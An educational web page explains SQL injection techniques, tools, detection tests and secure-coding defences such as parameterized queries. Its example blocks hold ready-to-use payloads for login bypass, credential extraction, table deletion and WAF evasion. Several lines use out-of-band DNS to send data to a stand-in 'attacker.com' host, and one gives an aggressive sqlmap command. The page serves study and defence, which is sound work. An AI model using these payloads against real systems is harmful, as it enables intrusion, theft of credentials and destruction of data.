Overview Techniques Tools Demo Detection Prevention Legal Resources

SQL Injection Guide

What is SQL Injection?

SQL Injection (SQLi) is a code injection technique that exploits vulnerabilities in an application's software by injecting malicious SQL queries into input fields (form parameters, URL query strings, HTTP headers, cookies). Attackers can manipulate SQL queries to view, modify, delete data, bypass authentication, escalate privileges, execute administrative operations (DROP TABLE, DELETE), and sometimes execute arbitrary commands on the database server (OS command execution, file read/write). SQL Injection is one of the most critical web application vulnerabilities, consistently ranked in the OWASP Top 10 (A03:2021 - Injection).

OWASP Top 10 Ranking: SQL Injection ranked #1 in OWASP Top 10 from 2010-2017, currently #3 (A03:2021 - Injection). 65% of web applications contain SQL injection vulnerabilities (Veracode State of Software Security). Average cost of SQL injection data breach: $8.5 million (IBM Cost of a Data Breach Report).

65%
Applications Vulnerable
#3
OWASP Top 10 (2021)
$8.5M
Average Data Breach Cost

Common targets of SQL injection attacks:

SQL Injection Techniques & Attack Vectors

Union-Based SQL Injection

Using UNION SQL operator to combine results of malicious SELECT query with original query. Extract data from other database tables (usernames, passwords, credit cards, PII). Example: ' UNION SELECT username, password FROM users --

Data Extraction

Error-Based SQL Injection

Exploiting database error messages to extract information about database structure (table names, column names, data types). Example: ' AND 1=CONVERT(int, @@version) -- (Microsoft SQL Server version disclosure).

Information Disclosure

Blind SQL Injection (Boolean-based)

Infer information by observing application behavior (true/false responses). Page content changes based on condition. Example: ' AND SUBSTRING(@@version,1,1)=5 -- (SQL Server version detection).

Inferential

Time-Based Blind SQL Injection

Using time delays (WAITFOR DELAY, pg_sleep, sleep()) to infer information when application returns same response regardless of query result. Example: ' AND IF(SUBSTRING(@@version,1,1)=5, SLEEP(5), 0) -- (MySQL time-based).

Inferential

Out-of-Band (OOB) SQL Injection

Using alternative channels (DNS, HTTP) to extract data when standard channel is not available. Example: ' AND 1=(SELECT load_file(concat('\\\\',@@version,'.attacker.com\\a'))) -- (MySQL OOB).

Data Exfiltration

Second-Order SQL Injection

Malicious input stored in database and executed later in different query context. Difficult to detect during initial input validation. Example: User registration with username "admin'--" triggers SQL injection during profile update.

Stored Injection
// SQL Injection attack examples (educational only) // 1. Authentication bypass (login form) // Vulnerable PHP code: $query = "SELECT * FROM users WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'"; // Attacker input: Username: admin' -- Password: anything // Resulting query: SELECT * FROM users WHERE username='admin' -- ' AND password='anything' // Comment bypasses password check, grants admin access // 2. Union-based data extraction // Vulnerable URL: http://example.com/product?id=1 // Attacker input: 1 UNION SELECT username, password FROM users // Resulting query returns product data + usernames/passwords // 3. Error-based version disclosure (MySQL) // Attacker input: ' AND extractvalue(1, concat(0x7e, version())) -- // Resulting error message: XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1' // 4. Time-based blind injection (MySQL) // Attacker input: ' AND IF(SUBSTRING(version(),1,1)=5, SLEEP(5), 0) -- // 5-second delay indicates MySQL 5.x // 5. Database enumeration (extract table names) // MySQL: ' AND 1=2 UNION SELECT table_name FROM information_schema.tables -- // PostgreSQL: ' AND 1=2 UNION SELECT table_name FROM information_schema.tables -- // SQL Server: ' AND 1=2 UNION SELECT table_name FROM information_schema.tables -- // 6. Data exfiltration via UNION (extract credentials) // Attacker input: 0 UNION SELECT 1,username,password,4 FROM users -- // Returns usernames and password hashes from users table // 7. Stacked queries (multiple statements - MySQL, PostgreSQL) // Attacker input: 1; DROP TABLE users; -- // Deletes entire users table (if stacked queries enabled) // 8. Out-of-Band (OOB) DNS exfiltration (MySQL) // Attacker input: ' AND 1=(SELECT load_file(concat('\\\\',(SELECT version()),'.attacker.com\\a'))) -- // Extracts version to attacker DNS server

SQL Injection Tools (Educational Context)

SQLmap (Automated SQLi)

Open-source automated SQL injection detection and exploitation tool. Supports all SQLi techniques (union, error-based, blind, time-based, stacked queries, out-of-band). Features: database fingerprinting, data extraction (tables, columns, rows), command execution, file read/write, and OS shell.

Burp Suite (SQLi Plugin)

Web application security testing platform. Burp Scanner includes SQL injection detection (active scanning). Burp Collaborator for out-of-band detection. Extensions: SQLiPy, SQLMap integration.

OWASP ZAP (SQLi Scanner)

Open-source web application security scanner. Active scanning for SQL injection vulnerabilities (time-based, boolean-based, union-based). Includes SQL injection detection scripts (ZAP scripts).

jSQL Injection (Java)

Lightweight Java-based SQL injection tool. Features: database fingerprinting, data extraction, file read/write, command execution. Supports multiple DBMS (MySQL, Oracle, PostgreSQL, SQL Server, MS Access).

Havij (Advanced SQLi)

Automated SQL injection tool with GUI. Features: database fingerprinting, table/column enumeration, data extraction, file read/write, command execution. Windows-based.

SQL Injection Demonstration (Authentication Bypass)

This demonstration shows how SQL injection can bypass authentication. Try legitimate credentials (admin/admin123) or SQL injection payloads:

Detecting SQL Injection Vulnerabilities

Database Error Messages

Applications displaying database error messages (SQL syntax errors, server information) indicate potential SQL injection. Example errors: "You have an error in your SQL syntax", "Unclosed quotation mark", "Microsoft OLE DB Provider for ODBC Drivers".

Input Validation Testing

Testing input fields with special characters: single quote ('), double quote ("), semicolon (;), comment characters (--, /*, */), UNION, SELECT, AND/OR operators. Application behavior changes (errors, blank pages, different responses) indicate injection vulnerability.

Web Application Firewall (WAF) Logs

WAF logs showing SQL injection attack patterns (SQL keywords, union select, sleep(), benchmark(), waitfor delay) indicate attempted exploitation. ModSecurity, Cloudflare WAF, AWS WAF logs.

// SQL injection detection tests (manual) // Test 1: Single quote injection Input: ' Expected: SQL error or changed page behavior (vulnerable) Safe: Parameterized query or input sanitization // Test 2: Boolean-based blind Input: ' AND '1'='1 Input: ' AND '1'='2 Compare responses (different = vulnerable) // Test 3: Time-based blind Input: ' AND SLEEP(5) -- Input: ' AND pg_sleep(5) -- (PostgreSQL) Input: ' AND WAITFOR DELAY '00:00:05' -- (SQL Server) 5-second delay = vulnerable // Test 4: Union-based extraction Input: ' UNION SELECT NULL -- Increase NULL count until no error Input: ' UNION SELECT 1,2,3,4,5 -- // Automated detection with SQLmap sqlmap -u "http://example.com/product?id=1" --batch --level=3 --risk=3 // Web Application Firewall (WAF) bypass techniques // Case alternation: SeLeCt, UnIoN // Encoding: %27 (URL), 0x27 (hex), CHAR(39) // Comment obfuscation: /**/, /*!50000SELECT*/

Preventing SQL Injection (Secure Coding Practices)

Parameterized Queries (Prepared Statements)

Most effective defense against SQL injection. Separates SQL logic from data input. User input treated as data, not executable code. Supported by all major languages: Java (PreparedStatement), .NET (SqlCommand with parameters), Python (parameterized queries), PHP (PDO), Node.js (parameterized queries).

Most Effective

Input Validation & Sanitization

Validate user input against expected format (whitelist, regex). Escape special characters (addslashes, mysqli_real_escape_string - limited effectiveness). Use allowlists (whitelist) instead of denylists (blacklist). Input validation should not be only defense.

Stored Procedures

Encapsulate SQL logic in stored procedures with parameters. Reduces risk if properly implemented (parameterized stored procedures). Not a complete defense - can still be vulnerable if dynamic SQL built inside stored procedure.

Least Privilege Database Accounts

Application database account should have minimal privileges (SELECT, INSERT, UPDATE on specific tables, no DDL). Prevent DROP TABLE, DELETE, administrative commands. Separate read-only accounts for reporting.

Web Application Firewall (WAF)

WAF (ModSecurity, Cloudflare WAF, AWS WAF, Azure WAF) blocks SQL injection attacks (SQL keywords, union select, sleep, benchmark). Provides defense-in-depth but not replacement for secure coding.

Regular Security Testing (SAST/DAST)

Conduct static analysis (SAST) and dynamic scanning (DAST) for SQL injection vulnerabilities. Use automated scanners (OWASP ZAP, Burp Suite, Acunetix, Netsparker). Manual penetration testing.

Best Practice - Parameterized Queries are Mandatory: Parameterized queries (prepared statements) are the most effective defense against SQL injection. Never concatenate user input directly into SQL queries. Use parameterized queries for all database operations (SELECT, INSERT, UPDATE, DELETE). Input validation and WAF provide defense-in-depth but do not replace parameterized queries. Example (PHP PDO): $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]);

Further SQL Injection Resources & Information

OWASP SQL Injection Cheat Sheet

OWASP (Open Web Application Security Project) SQL Injection Prevention Cheat Sheet: parameterized queries, input validation, stored procedures, and secure coding practices.

PortSwigger Web Security Academy (SQLi Labs)

Free Burp Suite Academy SQL injection labs: union-based, error-based, blind (boolean/time-based), second-order, and out-of-band SQL injection. Interactive learning environment.

MITRE ATT&CK - SQL Injection Techniques

MITRE ATT&CK framework tactics: T1190 (Exploit Public-Facing Application - SQL injection), T1505 (Server Software Component), T1059 (Command and Scripting Interpreter).

SANS SEC542 (Web App Penetration Testing)

Course covering SQL injection detection, exploitation, and mitigation. Includes manual testing techniques and automated tools (SQLmap, Burp Suite).

SQLmap Documentation & Examples

Official SQLmap documentation: detection techniques, data extraction, database fingerprinting, command execution, and file read/write examples. Includes video tutorials.

← Back to Knowledge Base